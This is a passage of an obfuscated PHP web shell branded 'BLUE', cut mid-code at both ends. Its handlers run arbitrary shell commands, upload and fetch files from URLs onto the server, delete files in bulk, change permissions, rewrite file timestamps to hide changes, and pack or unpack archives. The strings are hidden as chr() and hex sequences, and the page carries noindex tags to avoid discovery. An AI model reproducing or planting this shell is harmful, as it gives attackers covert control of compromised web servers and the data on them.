trim((string)(isset($_POST[chr(110).chr(101).chr(119)]) ? $_POST[chr(110).chr(101).chr(119)] : "")); if ($_a469f8 === "" || strpos($_a469f8, DIRECTORY_SEPARATOR) !== false) { $_SESSION["\x6d\x73\x67"] = "\x49\x6e\x76\x61\x6c\x69\x64\x20\x6e\x65\x77\x20\x6e\x61\x6d\x65"; } else { $_6a1232 = _fd0b7ef8c($_c1a7c7, $_a469f8); $_SESSION["\x6d\x73\x67"] = @rename($_036893, $_6a1232) ? chr(82).chr(101).chr(110).chr(97).chr(109).chr(101).chr(32).chr(79).chr(75) : chr(82).chr(101).chr(110).chr(97).chr(109).chr(101).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); } _f88f112de($_c1a7c7); } case chr(99).chr(104).chr(109).chr(111).chr(100): { $_3f7099 = _fd0b7ef8c($_c1a7c7, isset($_POST["\x74\x61\x72\x67\x65\x74"]) ? $_POST["\x74\x61\x72\x67\x65\x74"] : ''); $_e981cf = _f98cc6602((string)(isset($_POST["\x6d\x6f\x64\x65"]) ? $_POST[chr(109).chr(111).chr(100).chr(101)] : "\x30\x36\x34\x34")); $_d37cf4 = !empty($_POST["\x72\x65\x63\x75\x72\x73\x69\x76\x65"]); $_fb09a4 = true; _fb579327c($_3f7099, $_e981cf, $_d37cf4, $_fb09a4); $_SESSION[chr(109).chr(115).chr(103)] = $_fb09a4 ? chr(67).chr(104).chr(109).chr(111).chr(100).chr(32).chr(79).chr(75) : chr(67).chr(104).chr(109).chr(111).chr(100).chr(32).chr(112).chr(97).chr(114).chr(116).chr(105).chr(97).chr(108).chr(108).chr(121).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); _f88f112de($_c1a7c7); } case chr(100).chr(101).chr(108).chr(101).chr(116).chr(101): { $_2f686e = _fd0b7ef8c($_c1a7c7, isset($_POST["\x74\x61\x72\x67\x65\x74"]) ? $_POST["\x74\x61\x72\x67\x65\x74"] : ''); $_SESSION["\x6d\x73\x67"] = _fbd4e892a($_2f686e) ? chr(68).chr(101).chr(108).chr(101).chr(116).chr(101).chr(32).chr(79).chr(75) : "\x44\x65\x6c\x65\x74\x65\x20\x66\x61\x69\x6c\x65\x64"; _f88f112de($_c1a7c7); } case "\x6d\x61\x73\x73\x2d\x64\x65\x6c\x65\x74\x65": { $_a1efde = isset($_POST["\x69\x74\x65\x6d\x73"]) ? $_POST[chr(105).chr(116).chr(101).chr(109).chr(115)] : array(); $_fb09a4 = true; if (is_array($_a1efde)) foreach ($_a1efde as $_b6f23e) { $_fb09a4 = _fbd4e892a(_fd0b7ef8c($_c1a7c7, $_b6f23e)) && $_fb09a4; } $_SESSION[chr(109).chr(115).chr(103)] = $_fb09a4 ? "\x42\x75\x6c\x6b\x20\x64\x65\x6c\x65\x74\x65\x20\x4f\x4b" : "\x53\x6f\x6d\x65\x20\x69\x74\x65\x6d\x73\x20\x66\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\x64\x65\x6c\x65\x74\x65"; _f88f112de($_c1a7c7); } case "\x75\x70\x6c\x6f\x61\x64": { if (!isset($_FILES[chr(102).chr(105).chr(108).chr(101).chr(115)])) { $_SESSION["\x6d\x73\x67"] = "\x4e\x6f\x20\x66\x69\x6c\x65\x73\x20\x70\x72\x6f\x76\x69\x64\x65\x64"; _f88f112de($_c1a7c7); } $_aaf820 = count($_FILES["\x66\x69\x6c\x65\x73"][chr(110).chr(97).chr(109).chr(101)]); $_fb09a4 = 0; $_e306e1 = 0; $_b95bd7 = array(); for ($_5e333c = 0; $_5e333c < $_aaf820; $_5e333c++) { $_10428d = $_FILES["\x66\x69\x6c\x65\x73"][chr(110).chr(97).chr(109).chr(101)][$_5e333c]; $_a8df0f = $_FILES[chr(102).chr(105).chr(108).chr(101).chr(115)][chr(116).chr(109).chr(112).chr(95).chr(110).chr(97).chr(109).chr(101)][$_5e333c]; $_912142 = $_FILES["\x66\x69\x6c\x65\x73"][chr(101).chr(114).chr(114).chr(111).chr(114)][$_5e333c]; if ($_912142 !== UPLOAD_ERR_OK) { $_e306e1++; $_b95bd7[] = "$_10428d (error $_912142)"; continue; } list($_0d9bdb, $_172fbf) = _fce62eb18($_a8df0f, _fd0b7ef8c($_c1a7c7, $_10428d)); if ($_0d9bdb) $_fb09a4++; else { $_e306e1++; $_b95bd7[] = "$_10428d ($_172fbf)"; } } $_SESSION["\x6d\x73\x67"] = "Upload: OK=$_fb09a4; Failed=$_e306e1" . ($_b95bd7 ? chr(59).chr(32) . implode("\x2c\x20", $_b95bd7) : ""); _f88f112de($_c1a7c7); } case chr(117).chr(114).chr(108).chr(45).chr(117).chr(112).chr(108).chr(111).chr(97).chr(100): { $_2e6a35 = trim((string)(isset($_POST["\x75\x72\x6c"]) ? $_POST[chr(117).chr(114).chr(108)] : "")); $_922278 = trim((string)(isset($_POST["\x66\x69\x6c\x65\x6e\x61\x6d\x65"]) ? $_POST["\x66\x69\x6c\x65\x6e\x61\x6d\x65"] : "")); if ($_2e6a35 === "") { $_SESSION["\x6d\x73\x67"] = "\x55\x52\x4c\x20\x69\x73\x20\x65\x6d\x70\x74\x79"; _f88f112de($_c1a7c7); } if ($_922278 === '') { $_19de40 = parse_url($_2e6a35, PHP_URL_PATH); $_922278 = basename($_19de40 ? $_19de40 : ""); if ($_922278 === '') { $_922278 = chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100).chr(46).chr(98).chr(105).chr(110); } } list($_fb09a4, $_e908c6) = _f53dd2638($_2e6a35, _fd0b7ef8c($_c1a7c7, $_922278)); $_SESSION["\x6d\x73\x67"] = $_fb09a4 ? "Downloaded from URL: $_922278" : "URL download failed: $_e908c6"; _f88f112de($_c1a7c7); } case chr(109).chr(116).chr(105).chr(109).chr(101): { $_3f7099 = _fd0b7ef8c($_c1a7c7, isset($_POST[chr(116).chr(97).chr(114).chr(103).chr(101).chr(116)]) ? $_POST["\x74\x61\x72\x67\x65\x74"] : ''); $_ebd576 = trim((string)(isset($_POST[chr(116).chr(115)]) ? $_POST[chr(116).chr(115)] : "")); $_d37cf4 = !empty($_POST["\x72\x65\x63\x75\x72\x73\x69\x76\x65"]); if ($_ebd576 === '') { $_SESSION["\x6d\x73\x67"] = chr(67).chr(104).chr(97).chr(110).chr(103).chr(101).chr(32).chr(68).chr(97).chr(116).chr(101).chr(58).chr(32).chr(101).chr(109).chr(112).chr(116).chr(121); _f88f112de($_c1a7c7); } if (ctype_digit($_ebd576)) $_12c1cf = (int)$_ebd576; else { $_12c1cf = @strtotime($_ebd576); if ($_12c1cf === false) { $_SESSION["\x6d\x73\x67"] = chr(67).chr(104).chr(97).chr(110).chr(103).chr(101).chr(32).chr(68).chr(97).chr(116).chr(101).chr(58).chr(32).chr(105).chr(110).chr(118).chr(97).chr(108).chr(105).chr(100).chr(32).chr(116).chr(105).chr(109).chr(101).chr(32).chr(102).chr(111).chr(114).chr(109).chr(97).chr(116); _f88f112de($_c1a7c7); } } $_fb09a4 = true; _f433a4a13($_3f7099, $_12c1cf, $_d37cf4, $_fb09a4); $_SESSION["\x6d\x73\x67"] = $_fb09a4 ? ("\x43\x68\x61\x6e\x67\x65\x20\x44\x61\x74\x65\x20\x4f\x4b\x20\xe2\x86\x92\x20" . date(chr(89).chr(45).chr(109).chr(45).chr(100).chr(32).chr(72).chr(58).chr(105).chr(58).chr(115), $_12c1cf)) : chr(67).chr(104).chr(97).chr(110).chr(103).chr(101).chr(32).chr(68).chr(97).chr(116).chr(101).chr(32).chr(112).chr(97).chr(114).chr(116).chr(105).chr(97).chr(108).chr(108).chr(121).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); _f88f112de($_c1a7c7); } case "\x63\x6d\x64": { $_ad931e = trim((string)(isset($_POST[chr(99).chr(109).chr(100)]) ? $_POST["\x63\x6d\x64"] : '')); if ($_ad931e === '') { $_SESSION["\x6d\x73\x67"] = chr(67).chr(111).chr(109).chr(109).chr(97).chr(110).chr(100).chr(32).chr(105).chr(115).chr(32).chr(101).chr(109).chr(112).chr(116).chr(121).chr(46); _f88f112de($_c1a7c7); } $_105402 = _f01834d4b($_ad931e, $_c1a7c7); $_b0e45b = (string)$_105402["\x6f\x75\x74"]; if (strlen($_b0e45b) > 1024 * 1024) $_b0e45b = substr($_b0e45b, 0, 1024 * 1024) . chr(92).chr(110).chr(91).chr(111).chr(117).chr(116).chr(112).chr(117).chr(116).chr(32).chr(116).chr(114).chr(117).chr(110).chr(99).chr(97).chr(116).chr(101).chr(100).chr(93); $_SESSION[chr(99).chr(109).chr(100).chr(95).chr(114).chr(101).chr(115).chr(117).chr(108).chr(116)] = array(chr(99).chr(109).chr(100) => $_ad931e, "\x6d\x65\x74\x68\x6f\x64" => $_105402[chr(109).chr(101).chr(116).chr(104).chr(111).chr(100)], "\x63\x6f\x64\x65" => $_105402["\x63\x6f\x64\x65"], chr(111).chr(117).chr(116) => $_b0e45b); _f88f112de($_c1a7c7); } case chr(109).chr(111).chr(118).chr(101): { $_6d07b5 = (string)(isset($_POST["\x73\x72\x63"]) ? $_POST[chr(115).chr(114).chr(99)] : ""); $_3770f4 = (string)(isset($_POST["\x64\x73\x74"]) ? $_POST[chr(100).chr(115).chr(116)] : ""); $_544e29 = _fd0b7ef8c($_c1a7c7, $_6d07b5); if ($_6d07b5 === '' || !file_exists($_544e29)) { $_SESSION[chr(109).chr(115).chr(103)] = chr(77).chr(111).chr(118).chr(101).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32).chr(115).chr(111).chr(117).chr(114).chr(99).chr(101).chr(32).chr(109).chr(105).chr(115).chr(115).chr(105).chr(110).chr(103); _f88f112de($_c1a7c7); } if ($_3770f4 === "") { $_SESSION[chr(109).chr(115).chr(103)] = "\x4d\x6f\x76\x65\x20\x66\x61\x69\x6c\x65\x64\x3a\x20\x64\x65\x73\x74\x69\x6e\x61\x74\x69\x6f\x6e\x20\x65\x6d\x70\x74\x79"; _f88f112de($_c1a7c7); } if (!is_dir($_3770f4)) { $_SESSION["\x6d\x73\x67"] = "\x4d\x6f\x76\x65\x20\x66\x61\x69\x6c\x65\x64\x3a\x20\x64\x65\x73\x74\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x6e\x6f\x74\x20\x61\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79"; _f88f112de($_c1a7c7); } $_6cb7fe = _fd0b7ef8c($_3770f4, basename($_6d07b5)); if (@realpath($_544e29) === @realpath($_6cb7fe)) { $_SESSION["\x6d\x73\x67"] = chr(77).chr(111).chr(118).chr(101).chr(32).chr(115).chr(107).chr(105).chr(112).chr(112).chr(101).chr(100).chr(32).chr(40).chr(115).chr(97).chr(109).chr(101).chr(32).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(41); _f88f112de($_c1a7c7); } $_fb09a4 = @rename($_544e29, $_6cb7fe); $_SESSION[chr(109).chr(115).chr(103)] = $_fb09a4 ? chr(77).chr(111).chr(118).chr(101).chr(32).chr(79).chr(75) : chr(77).chr(111).chr(118).chr(101).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); _f88f112de($_c1a7c7); } case "\x7a\x69\x70": { $_e28efc = isset($_POST["\x69\x74\x65\x6d\x73"]) ? $_POST[chr(105).chr(116).chr(101).chr(109).chr(115)] : array(); $_10428d = trim((string)(isset($_POST[chr(122).chr(105).chr(112).chr(110).chr(97).chr(109).chr(101)]) ? $_POST[chr(122).chr(105).chr(112).chr(110).chr(97).chr(109).chr(101)] : "")); if (!is_array($_e28efc) || empty($_e28efc)) { $_SESSION["\x6d\x73\x67"] = chr(90).chr(105).chr(112).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32).chr(110).chr(111).chr(116).chr(104).chr(105).chr(110).chr(103).chr(32).chr(115).chr(101).chr(108).chr(101).chr(99).chr(116).chr(101).chr(100); _f88f112de($_c1a7c7); } if ($_10428d === '') $_10428d = "\x61\x72\x63\x68\x69\x76\x65\x2d" . date("\x59\x6d\x64\x2d\x48\x69\x73") . chr(46).chr(122).chr(105).chr(112); $_a9c562 = _fd0b7ef8c($_c1a7c7, $_10428d); $_0d9bdb = false; $_77fbc2 = ""; if (class_exists(chr(90).chr(105).chr(112).chr(65).chr(114).chr(99).chr(104).chr(105).chr(118).chr(101))) { $_2675e1 = new ZipArchive(); if ($_2675e1->open($_a9c562, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { foreach ($_e28efc as $_bbbd28) { $_c0a0b4 = _fd0b7ef8c($_c1a7c7, $_bbbd28); if (is_dir($_c0a0b4)) { $_8723d7 = rtrim($_bbbd28, DIRECTORY_SEPARATOR); _f6499848c($_2675e1, $_c0a0b4, $_8723d7); } elseif (is_file($_c0a0b4)) { $_2675e1->addFile($_c0a0b4, basename($_bbbd28)); } } $_2675e1->close(); $_0d9bdb = true; } else { $_77fbc2 = chr(90).chr(105).chr(112).chr(65).chr(114).chr(99).chr(104).chr(105).chr(118).chr(101).chr(32).chr(111).chr(112).chr(101).chr(110).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); } } if (!$_0d9bdb) { if (class_exists("\x50\x68\x61\x72\x44\x61\x74\x61")) { try { $_8547f5 = preg_replace("\x7e\x5c\x2e\x7a\x69\x70\x24\x7e\x69", chr(46).chr(116).chr(97).chr(114), $_a9c562); $_683987 = new PharData($_8547f5); foreach ($_e28efc as $_bbbd28) { $_c0a0b4 = _fd0b7ef8c($_c1a7c7, $_bbbd28); if (is_dir($_c0a0b4)) { $_683987->addEmptyDir(basename($_bbbd28)); _f6a028c65($_683987, $_c0a0b4, basename($_bbbd28)); } elseif (is_file($_c0a0b4)) { $_683987->addFile($_c0a0b4, basename($_bbbd28)); } } unset($_683987); $_SESSION[chr(109).chr(115).chr(103)] = chr(90).chr(105).chr(112).chr(65).chr(114).chr(99).chr(104).chr(105).chr(118).chr(101).chr(32).chr(110).chr(111).chr(116).chr(32).chr(97).chr(118).chr(97).chr(105).chr(108).chr(97).chr(98).chr(108).chr(101).chr(59).chr(32).chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(100).chr(32).chr(84).chr(65).chr(82).chr(32).chr(105).chr(110).chr(115).chr(116).chr(101).chr(97).chr(100).chr(58).chr(32) . basename($_8547f5); _f88f112de($_c1a7c7); } catch (Exception $_912142) { $_77fbc2 = "\x54\x41\x52\x20\x66\x61\x6c\x6c\x62\x61\x63\x6b\x20\x66\x61\x69\x6c\x65\x64\x3a\x20" . $_912142->getMessage(); } } else { $_77fbc2 = ($_77fbc2 ? $_77fbc2 . "\x3b\x20" : '') . chr(78).chr(111).chr(32).chr(90).chr(105).chr(112).chr(65).chr(114).chr(99).chr(104).chr(105).chr(118).chr(101).chr(32).chr(110).chr(111).chr(114).chr(32).chr(80).chr(104).chr(97).chr(114).chr(68).chr(97).chr(116).chr(97).chr(32).chr(97).chr(118).chr(97).chr(105).chr(108).chr(97).chr(98).chr(108).chr(101); } } $_SESSION[chr(109).chr(115).chr(103)] = $_0d9bdb ? ("\x41\x72\x63\x68\x69\x76\x65\x20\x63\x72\x65\x61\x74\x65\x64\x3a\x20" . basename($_a9c562)) : (chr(90).chr(105).chr(112).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32) . $_77fbc2); _f88f112de($_c1a7c7); } case chr(117).chr(110).chr(122).chr(105).chr(112): { $_720a4c = _fd0b7ef8c($_c1a7c7, isset($_POST["\x66\x69\x6c\x65"]) ? $_POST["\x66\x69\x6c\x65"] : ''); if (!is_file($_720a4c)) { $_SESSION["\x6d\x73\x67"] = "\x55\x6e\x7a\x69\x70\x20\x66\x61\x69\x6c\x65\x64\x3a\x20\x66\x69\x6c\x65\x20\x6e\x6f\x74\x20\x66\x6f\x75\x6e\x64"; _f88f112de($_c1a7c7); } $_df0b59 = strtolower(pathinfo($_720a4c, PATHINFO_EXTENSION)); $_fb09a4 = false; $_77fbc2 = ""; if ($_df0b59 === "\x7a\x69\x70" && class_exists(chr(90).chr(105).chr(112).chr(65).chr(114).chr(99).chr(104).chr(105).chr(118).chr(101))) { $_2675e1 = new ZipArchive(); if ($_2675e1->open($_720a4c) === true) { $_fb09a4 = $_2675e1->extractTo($_c1a7c7); $_2675e1->close(); if (!$_fb09a4) $_77fbc2 = chr(90).chr(105).chr(112).chr(32).chr(101).chr(120).chr(116).chr(114).chr(97).chr(99).chr(116).chr(84).chr(111).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); } else { $_77fbc2 = "\x5a\x69\x70\x20\x6f\x70\x65\x6e\x20\x66\x61\x69\x6c\x65\x64"; } } else { try { if (class_exists("\x50\x68\x61\x72\x44\x61\x74\x61") && preg_match("\x7e\x5c\x2e\x28\x74\x61\x72\x7c\x74\x61\x72\x5c\x2e\x67\x7a\x7c\x74\x61\x72\x5c\x2e\x62\x7a\x32\x7c\x74\x61\x72\x5c\x2e\x78\x7a\x29\x24\x7e\x69", $_720a4c)) { $_683987 = new PharData($_720a4c); $_683987->extractTo($_c1a7c7, null, true); $_fb09a4 = true; } else { $_77fbc2 = "\x55\x6e\x73\x75\x70\x70\x6f\x72\x74\x65\x64\x20\x61\x72\x63\x68\x69\x76\x65\x20\x74\x79\x70\x65\x20\x6f\x72\x20\x50\x68\x61\x72\x44\x61\x74\x61\x20\x6e\x6f\x74\x20\x61\x76\x61\x69\x6c\x61\x62\x6c\x65"; } } catch (Exception $_912142) { $_77fbc2 = $_912142->getMessage(); } } $_SESSION["\x6d\x73\x67"] = $_fb09a4 ? chr(85).chr(110).chr(122).chr(105).chr(112).chr(32).chr(79).chr(75) : (chr(85).chr(110).chr(122).chr(105).chr(112).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32) . $_77fbc2); _f88f112de($_c1a7c7); } } } function _f6499848c($_2675e1, $_f590fa, $_50872e) { $_f590fa = rtrim($_f590fa, DIRECTORY_SEPARATOR); if (method_exists($_2675e1, "\x61\x64\x64\x45\x6d\x70\x74\x79\x44\x69\x72")) $_2675e1->addEmptyDir($_50872e); $_dc43af = @opendir($_f590fa); if (!$_dc43af) return; while (false !== ($_912142 = readdir($_dc43af))) { if ($_912142 === chr(46) || $_912142 === chr(46).chr(46)) continue; $_c0a0b4 = $_f590fa . DIRECTORY_SEPARATOR . $_912142; $_09fbc3 = $_50872e . chr(47) . basename($_912142); if (is_dir($_c0a0b4)) _f6499848c($_2675e1, $_c0a0b4, $_09fbc3); elseif (is_file($_c0a0b4) && method_exists($_2675e1, chr(97).chr(100).chr(100).chr(70).chr(105).chr(108).chr(101))) $_2675e1->addFile($_c0a0b4, $_09fbc3); } closedir($_dc43af); } function _f6a028c65($_683987, $_f590fa, $_50872e) { $_f590fa = rtrim($_f590fa, DIRECTORY_SEPARATOR); $_dc43af = @opendir($_f590fa); if (!$_dc43af) return; while (false !== ($_912142 = readdir($_dc43af))) { if ($_912142 === "\x2e" || $_912142 === "\x2e\x2e") continue; $_c0a0b4 = $_f590fa . DIRECTORY_SEPARATOR . $_912142; $_09fbc3 = $_50872e . "\x2f" . basename($_912142); if (is_dir($_c0a0b4)) { if (method_exists($_683987, "\x61\x64\x64\x45\x6d\x70\x74\x79\x44\x69\x72")) $_683987->addEmptyDir($_09fbc3); _f6a028c65($_683987, $_c0a0b4, $_09fbc3); } elseif (is_file($_c0a0b4) && method_exists($_683987, "\x61\x64\x64\x46\x69\x6c\x65")) { $_683987->addFile($_c0a0b4, $_09fbc3); } } closedir($_dc43af); } $_e28efc = _f4cbdc8a6($_c1a7c7); $_6c0157 = array(); $_86a06f = array(); foreach ($_e28efc as $_bbbd28) { $_c0a0b4 = $_c1a7c7 . DIRECTORY_SEPARATOR . $_bbbd28; if (is_dir($_c0a0b4)) $_86a06f[] = $_bbbd28; else $_6c0157[] = $_bbbd28; } $_95270c = defined(chr(83).chr(79).chr(82).chr(84).chr(95).chr(78).chr(65).chr(84).chr(85).chr(82).chr(65).chr(76)); $_8e90aa = defined(chr(83).chr(79).chr(82).chr(84).chr(95).chr(70).chr(76).chr(65).chr(71).chr(95).chr(67).chr(65).chr(83).chr(69)); if ($_95270c) { sort($_86a06f, $_8e90aa ? (SORT_NATURAL | SORT_FLAG_CASE) : SORT_NATURAL); sort($_6c0157, $_8e90aa ? (SORT_NATURAL | SORT_FLAG_CASE) : SORT_NATURAL); } else { natcasesort($_86a06f); $_86a06f = array_values($_86a06f); natcasesort($_6c0157); $_6c0157 = array_values($_6c0157); } $_98d67a = dirname($_c1a7c7); if ($_98d67a === $_c1a7c7) $_98d67a = $_c1a7c7; $_424b83 = ((((isset($_GET[chr(97)]) ? $_GET[chr(97)] : '') === chr(101).chr(100).chr(105).chr(116))) && isset($_GET["\x66"])) ? _fd0b7ef8c($_c1a7c7, $_GET["\x66"]) : null; $_0a041a = ($_424b83 && is_file($_424b83)) ? $_424b83 : null; $_26c33b = ((((isset($_GET["\x61"]) ? $_GET["\x61"] : '') === chr(118).chr(105).chr(101).chr(119))) && isset($_GET[chr(102)])) ? _fd0b7ef8c($_c1a7c7, $_GET[chr(102)]) : null; $_8470fb = ($_26c33b && is_file($_26c33b)) ? $_26c33b : null; $_b72ab0 = isset($_GET[chr(109).chr(111).chr(100).chr(101)]) ? $_GET[chr(109).chr(111).chr(100).chr(101)] : chr(97).chr(117).chr(116).chr(111); $_103d1f = in_array($_b72ab0, array("\x74\x78\x74", chr(98).chr(54).chr(52), "\x61\x75\x74\x6f"), true) ? $_b72ab0 : "\x61\x75\x74\x6f"; $_f7c0b0 = isset($_SESSION[chr(99).chr(115).chr(114).chr(102)]) ? $_SESSION[chr(99).chr(115).chr(114).chr(102)] : ''; $_aaa9a3 = date(chr(89)); ?> <!doctype html> <html lang="en" class="dark"> <head> <meta charset="utf-8"> <title>BLUE</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <meta name="googlebot" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { darkMode:'class', theme:{ extend:{ fontFamily:{ ui:['Ubuntu','ui-sans-serif','system-ui','Segoe UI','Roboto','Helvetica Neue','Arial','Noto Sans'] }, colors:{ canvas:{DEFAULT:'#0b1220',light:'#0b1220',surface:'rgba(15,23,42,.8)'}, brand:{50:'#eef2ff',500:'#6366f1',600:'#5458ee',700:'#4338ca'} }, boxShadow:{ card:'0 10px 30px rgba(0,0,0,.35), inset 0 1px 0 rgba(255,255,255,.03)' , glow:'0 6px 20px rgba(99,102,241,.25)' }, borderRadius:{ xl2:'18px' } } } } </script> <link href="https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap" rel="stylesheet"> <link href="https://www.svgrepo.com/show/475654/github-color.svg" rel="icon"> <!-- CodeMirror 5 --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/material-darker.min.css"> <style> .CodeMirror{ border:1px solid rgba(148,163,184,.18); border-radius:12px; height:420px; background:#0b1220; color:#e5e7eb; } .cm-s-material-darker .CodeMirror-gutters{ background:#0b1220; border-right:1px solid rgba(148,163,184,.18); } html,body{height:100%} body{font-family:'Ubuntu',system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,"Noto Sans";} .shell{min-height:100vh;background:radial-gradient(1200px 600px at 20% -10%, rgba(99,102,241,.15), transparent 60%), radial-gradient(900px 500px at 90% 0%, rgba(168,85,247,.12), transparent 60%), #0b1220; display:grid; grid-template-rows:auto 1fr auto;} .card{background:rgba(15,23,42,.8);border:1px solid rgba(148,163,184,.15);border-radius:18px;box-shadow:0 10px 30px rgba(0,0,0,.35), inset 0 1px 0 rgba(255,255,255,.03);backdrop-filter:blur(8px);} .field{border:1px solid rgba(148,163,184,.18);border-radius:12px;padding:.5rem .75rem;width:100%;background:#0b1220;color:#e5e7eb;} .field:focus{outline:none;box-shadow:0 0 0 4px rgba(99,102,241,.25);border-color:#6366f1} .btn{background:linear-gradient(180deg,#6366f1,#4f46e5);color:#eef2ff;border-radius:10px;padding:.5rem .75rem;font-weight:700;font-size:.875rem;line-height:1.25rem;display:inline-flex;align-items:center;justify-content:center;transition:transform .05s, box-shadow .15s, filter .15s; box-shadow:0 6px 20px rgba(99,102,241,.22);} .btn:hover{filter:brightness(1.06);box-shadow:0 10px 26px rgba(99,102,241,.35)} .btn:active{transform:translateY(.5px)} .btn-ghost{background:transparent;border:1px solid rgba(148,163,184,.25);color:#e5e7eb;} .btn-xs{padding:.25rem .5rem;font-size:.75rem;border-radius:8px}.btn-sm{padding:.35rem .6rem;font-size:.8125rem;border-radius:9px}.btnw{min-width:96px} .tbl thead th{position:sticky;top:0;background:#0b1220e6;backdrop-filter:blur(6px);z-index:1;color:#cbd5e1} .tbl tbody tr:nth-child(even){background:rgba(148,163,184,.04)} .tbl tbody tr.hoverable:hover{background:rgba(99,102,241,.22);box-shadow:inset 0 0 0 9999px rgba(99,102,241,.10)} .tbl tbody tr.hoverable{transition:background .15s ease} .ico{width:18px;height:18px;display:inline-block;vertical-align:text-bottom;color:#cbd5e1} .mono{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace} .badge-small{font-size:11px;padding:.1rem .4rem;border-radius:999px;background:#111827;color:#c7d2fe;border:1px solid #374151} .row-actions{display:grid;grid-template-columns:repeat(8, minmax(90px, auto));gap:.35rem;justify-items:start} @media (max-width:1200px){ .row-actions{grid-template-columns:repeat(3, minmax(90px, auto));} } .tablewrap{height:calc(100vh - 320px);overflow:auto} @media (max-height:800px){ .tablewrap{height:calc(100vh - 360px)} } .drop-hint{border:2px dashed rgba(99,102,241,.45); background:rgba(99,102,241,.06)} .droptarget{outline:2px dashed rgba(99,102,241,.7); outline-offset:-2px} /*#tableCard{ min-height: calc(100vh - 260px); }*/ /* Command editors */ .cm-cmd-input { font-size:13px; line-height:1.45; } .cm-cmd-input .CodeMirror { width:100% !important; } .cm-cmd-input .CodeMirror-scroll { height:36px !important; } /* single line */ .cm-cmd-input .CodeMirror { height:36px !important; } .cm-cmd-output { font-size:14px; line-height:1.5; } .cm-cmd-output .CodeMirror { width:100% !important; } .cm-cmd-output .CodeMirror-scroll { height:380px !important; } /* Lebar command dibatasi agar tidak terlalu panjang */ .cmd-container{ max-width:600px; width:100%; } @media (min-width:1536px){ .cmd-container{ max-width:680px; } } /* Make table copy-friendly */ #tableCard, #tableCard * { user-select: text; -webkit-user-select: text; } /* Force ALL links inside the directory table to be white */ #dirTable a, #dirTable a:visited { color:#ffffff !important; } /* Footer gradient line */ .footer-line{height:1px;background:linear-gradient(90deg,rgba(99,102,241,.0),rgba(99,102,241,.5),rgba(99,102,241,.0));} /* Placeholder abu untuk CodeMirror command */ .cm-cmd-input .CodeMirror-empty .CodeMirror-placeholder { color:#94a3b8; /* slate-400 */ opacity:.95; } </style> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/mode/loadmode.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/meta.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/closebrackets.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/matchbrackets.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/selection/active-line.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/display/placeholder.min.js"></script> </head> <body class="shell text-slate-100" id="bodyRoot"> <header class="sticky top-0 z-20 w-full border-b border-slate-800 bg-slate-900/70 backdrop-blur"> <div class="w-full px-6 py-3 flex items-center justify-between gap-3"> <div class="flex items-center gap-3 shrink-0"> <div class="text-2xl"><?php echo _f0e025995(chr(112).chr(119).chr(120), chr(105).chr(99).chr(111)); ?></div> <div> <div class="text-lg font-semibold tracking-tight" style="background:linear-gradient(90deg,#93c5fd,#c4b5fd);-webkit-background-clip:text;background-clip:text;color:transparent"><a href="?">BLUE</a></div> <div class="text-xs text-slate-400">PHP <?php echo _f47f5a0c5(PHP_VERSION); ?></div> </div> </div> <div class="hidden md:flex items-center gap-2 rounded-xl border border-slate-700 bg-slate-900/60 px-2 py-1 shrink-0"> <?php echo _f0e025995("\x73\x65\x61\x72\x63\x68", "\x69\x63\x6f"); ?> <input id="searchBox" type="search" placeholder="Filter by name (Ctrl+/)" class="bg-transparent text-sm outline-none placeholder:text-slate-500 w-64" oninput="filterRows()"> </div> <div class="text-sm text-slate-300 hidden lg:block truncate"> Path: <span class="mono"><?php echo _f47f5a0c5($_c1a7c7); ?></span> </div> <!-- Command (dibatasi lebar) --> <div class="cmd-container ml-auto"> <form method="post" action="?a=cmd&p=<?php echo rawurlencode($_c1a7c7); ?>" class="hidden md:flex items-center gap-2 w-full" id="cmdForm"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <textarea id="cmdTA" name="cmd" class="field mono w-full" placeholder="Run Command" rows="1"></textarea> <button class="btn btn-sm shrink-0" type="submit">Run</button> </form> </div> <form method="post" action="?a=logout&p=<?php echo rawurlencode($_c1a7c7); ?>" class="ml-1 shrink-0"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <button class="btn 